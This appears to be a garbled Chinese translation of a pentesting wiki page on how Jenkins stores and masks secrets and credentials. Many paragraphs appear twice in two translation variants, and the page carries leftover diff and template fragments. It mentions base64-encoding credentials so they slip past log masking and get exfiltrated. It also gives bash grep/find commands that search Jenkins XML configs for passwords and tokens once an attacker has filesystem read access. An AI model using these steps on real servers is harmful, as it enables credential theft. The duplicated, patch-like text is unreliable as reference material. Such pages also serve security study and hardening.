Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins 使用 **AES 加密和保护 secrets、credentials 及其各自的加密密钥**。这些加密密钥与用于保护这些密钥的 master key 一起存储在 `$JENKINS_HOME/secrets/`。应该配置该目录,使得只有运行 Jenkins controller 的操作系统用户对该目录具有读写权限(即 `chmod` 值为 `0700` 或使用适当的文件属性)。**master key**(在加密术语中有时称为 "key encryption key")以**未加密**形式存储在 Jenkins controller 的文件系统中,位于 **`$JENKINS_HOME/secrets/master.key`**,这并不能防止直接访问该文件的攻击者。大多数用户和开发者会通过 [Secret](https://javadoc.jenkins.io/byShortName/Secret) API 间接使用这些加密密钥以加密通用 secret 数据,或通过 credentials API。对于喜欢研究加密的读者Jenkins 使用 AES 在 cipher block chaining (CBC) 模式下,带 PKCS#5 padding 和随机 IVs加密存储在 `$JENKINS_HOME/secrets/` 中的 [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) 实例,文件名对应其 `CryptoConfidentialKey` id。常见的 key ids 包括:
- `hudson.util.Secret`用于通用秘密
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`用于某些凭证类型;
- `jenkins.model.Jenkins.crumbSalt`:由 [CSRF 保护机制](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) 使用;以及
- `hudson.util.Secret`: 用于通用 secrets
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: 用于某些类型的 credentials
- `jenkins.model.Jenkins.crumbSalt`: 被 [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) 使用;以及
### 凭证访问
### Credentials Access
凭证可以 **作用于全局提供者** (`/credentials/`),任何配置的项目都可以访问,或者可以作用 **特定项目** (`/job/<project-name>/configure`),因此仅可从特定项目访问。
Credentials 可以 **作用域到 global providers**`/credentials/`,任何配置的项目都可以访问,或者可以作用域到 **特定项目**`/job/<project-name>/configure`,因此仅能从该特定项目访问。
根据 [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)作用域内的凭证可以无限制地提供给管道。为了 **防止在构建日志中意外**凭证从常规输出中 **被屏蔽**,因此 `env`Linux`set`Windows的调用或打印其环境或参数的程序**不会在构建日志中向没有访问凭证的用户显示它们**
根据 [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/)处于作用域内的 credentials 会在 pipeline 中不受限制地可用。为了 **防止在构建日志中意外**credentials 会在常规输出中 **掩码**,因此 `env`Linux`set`Windows的调用或打印其环境或参数的程序不会在构建日志中向本不应访问这些 credentials 的用户泄露它们
**这就是为什么攻击者需要例如,将凭证进行 base64 编码以提取凭证**
**这就是为什么为了 exfiltrate credentials 攻击者需要例如对其进行 base64 编码。**
## 参考
### Secrets in plugin/job configs on disk
不要假定 secrets 只存在于 `credentials.xml`。许多插件在 `$JENKINS_HOME/*.xml` 下以 **自己的全局 XML** 持久化 secrets或在每个 job 的 `$JENKINS_HOME/jobs/<JOB>/config.xml`有时甚至以明文形式存放UI 掩码并不保证加密存储)。如果你获得了文件系统的读取权限,请枚举这些 XML 并搜索明显的 secret 标签。
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## 参考资料
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -90,5 +101,6 @@ Jenkins 可以通过插件配置为 **通过第三方 SSO 访问**。
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}